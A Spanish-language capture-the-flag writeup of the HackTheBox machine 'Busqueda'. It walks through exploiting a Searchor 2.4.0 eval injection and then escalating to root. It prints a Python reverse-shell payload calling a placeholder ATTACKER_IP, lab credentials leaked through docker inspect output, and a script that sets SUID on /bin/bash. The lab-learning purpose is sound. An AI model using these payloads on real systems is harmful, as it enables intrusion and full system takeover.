Aquí tenéis el writeup de la máquina Busqueda, una máquina de HackTheBox muy interesante de realizar y la primera de una larga lista de máquinas a hacer en esta plataforma por mi parte. Es la primera máquina que he resuelto, ya que anteriormente no me había puesto con ello, y he aprendido mucho de ella. En la sección de HackTheBox iréis encontrando, además de las traducciones de la Academy, los writeups de máquinas que vaya realizando.
A por la flag del usuario en la máquina Busqueda
Lo primero que haremos una vez conectados a la máquina mediante la VPN de HackTheBox es escanear los puertos abiertos con nmap:

Gracias a este escaneo podemos ver que hay dos puertos abiertos, el puerto 22 con el servicio OpenSSH, que además nos indica que se trata de un sistema Ubuntu Linux, y el puerto 80, en el que vemos que se encuentra corriendo un servidor HTTP Apache en su versión 2.4.52.
Lo primero que intentaremos es, viendo que hay un servidor HTTP abierto, acceder a la IP de la máquina a través del navegador, para ver si hay alguna web. Al intentarlo, nos aparece el siguiente mensaje:

También podemos ver que en la barra de navegación de Firefox ha aparecido un nombre de dominio:

Visto esto, nos dirigimos al archivo /etc/hosts para incluir este dominio con la IP y comprobar si así podemos cargar la página web:

Ahora, al entrar en el navegador con ese nombre de dominio, obtenemos esto:

Se trata de un motor de búsqueda que realiza búsquedas según distintos motores. Como podemos ver en la parte inferior, está implementado usando Searchor en su versión 2.4.0 y Flask.
Tenemos una versión del buscador, así que es un hilo del que podemos ir tirando. Si realizamos la búsqueda Searchor 2.4.0 vulnerability encontramos un enlace a security.snyk.io en el que nos indican que en versiones inferiores a la 2.4.2 se podía ejecutar código de forma arbitraria, debido a una mala implementación del método eval.
Ahora trataremos de buscar un exploit para esta vulnerabilidad, y para ello usaremos el buscador DuckDuckGo. Realizaremos la búsqueda para searchor poc vulnerability 2.4.0 en busca de alguna prueba de concepto en la que se haya comprobado dicha vulnerabilidad. Con esta búsqueda encontramos lo siguiente:

Ese enlace nos llama la atención. Vamos a ver qué contiene.
Según vemos en el repositorio de Github donde está el exploit, la mala implementación del método eval(), al no sanitizar el parámetro query, conduce a una vulnerabilidad de Ejecución Remota de Código. Esta explicación va seguida de las instrucciones para usar el exploit:

Es por ello que lo primero que haremos es ejecutar netcat, como indican las instrucciones, y lo haremos en el puerto 4444.
Acto seguido enviaremos la siguiente petición en la web donde está implementado Searchor:
', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
En esta petición sustituiremos ATTACKER_IP por nuestra IP en HackTheBox (con las comillas, sin las comillas no funcionará) y PORT por el puerto 4444 en el que hemos puesto a escuchar a netcat.
Al pulsar el botón Search en la web, vemos que nuestro netcat ha entrado en la máquina remota:

Hemos conseguido la reverse shell, ahora toca buscar la primera flag, que es la del usuario por defecto. Dicho usuario es svc (lo podemos averiguar con un simple whoami). Por lo tanto, buscaremos el directorio /home/svc/ y veremos lo que hay dentro:

Si leemos el archivo user.txt con el comando cat, encontramos la flag del usuario.
Escalando privilegios
Ahora es momento de ir a por la otra flag, la del usuario root. Para ello nos hará falta escalar privilegios.
El directorio por defecto en el que entramos cuando conseguimos la reverse shell es */var/www/app*.Estando en dicho directorio, listamos los archivos y directorios presentes en él, y encontramos un directorio oculto llamado *.git*.
Ahora listamos este directorio y vemos que contiene varios archivos, entre ellos uno de configuración llamado *config* que puede ser interesante estudiar.Si leemos dicho archivo, vemos lo siguiente:

Podemos ver que en este archivo hay lo que parecen ser unas credenciales con el formato user:password@subdomain. Tomamos nota del usuario y de la contraseña que hay a continuación, e intentamos entrar en el subdominio encontrado, que es gitea.searcher.htb. Para ello habremos de cambiar de nuevo el /etc/hosts y poner el subdominio en lugar del dominio que teníamos anteriormente para la IP de la máquina remota. Cuando entramos a dicho subdominio, encontramos lo siguiente:

En la parte superior derecha de la página tenemos una sección en la que podemos hacer login con las credenciales que tenemos del usuario cody.
Probamos allí dichas credenciales y llegamos a la siguiente pantalla:

Como vemos, consta un usuario administrator además del usuario cody.
Vamos a intentar desde la shell usar el password de cody como contraseña de sudo para el usuario svc:

Vemos que el usuario svc puede ejecutar como root el comando que aparece en la captura, por lo que intentamos ejecutarlo, a ver qué resultado nos da:

Esto es lo que nos dice el comando, que hay tres archivos, docker-ps, docker-inspect y full-checkup que se pueden ejecutar como acciones para dicho comando. Por ello, probamos cada uno de ellos:

Como vemos, el primer comando nos da un resultado con lo que parecen ser IDs de contenedores y el segundo comando nos pide un formato y el nombre de un contenedor. En lo que respecta al tercer comando, sólo nos dice que algo ha ido mal, así que ese lo dejaremos por el momento y nos centraremos en el segundo.
Si miramos la documentación de docker, encontramos que docker inspect nos permite obtener un archivo JSON con todos los datos del contenedor facilitándole sólo su ID. Es por ello que lo hacemos con los dos ID que tenemos:
--format={"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}
Esto es lo que hemos obtenido de primer contenedor. Ahora vamos a comprobar el segundo:
--format={"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}
Ahora, una vez conseguidos los datos a bajo nivel de ambos contenedores, tenemos más contraseñas que probar con el usuario administrator en gitea.searcher.htb. Nos dirigimos a la web de nuevo y probamos con la contraseña que hay en el primer contenedor:

Como vemos, hemos podido acceder con el usuario administrator. Ahora es momento de investigar dentro de la carpeta scripts de este usuario, a ver qué encontramos.
Dentro de dicha carpeta, podemos ver los siguientes ficheros:

Ese archivo full-checkup nos recuerda a la acción que no nos dejaba realizar anteriormente. Por ahora abriremos el archivo system-checkup.py para ver cómo está implementado:

Esta sección es la que nos interesa, ya que docker-ps no nos ha dado problema, pero full-checkup nos decía que algo estaba mal. Como vemos, esta acción toma como argumento un archivo llamado full-checkup.sh. Si la acción tiene éxito, aparecerá el mensaje Done mientras que si la acción no se completa, aparecerá el mensaje que vimos anteriormente.
Por lo que pone en el código anterior, buscará el archivo full-checkup.sh en el directorio que estemos, y si lo encuentra, lo ejecutará. Es por ello que crearemos un script en bash que nos permita cambiar los permisos a SUID.
Este archivo lo crearemos en nuestra máquina local, y lo subiremos mediante un servidor http creado con python. Este es el código que incluirá el script:
#!/bin/bash
chmod +s /bin/bash


Ahora nos queda darle permisos de ejecución al archivo full-checkup.sh y ejecutar el archivo que hemos subido a la máquina remota mediante el comando que anteriormente nos daba el error con sudo -S:

Ahora ejecutamos el comando:
bash -p
Y obtenemos permisos de usuario root:

Si hacemos un ls al directorio /root veremos que hay un archivo root.txt que es el que contiene la segunda flag de esta máquina.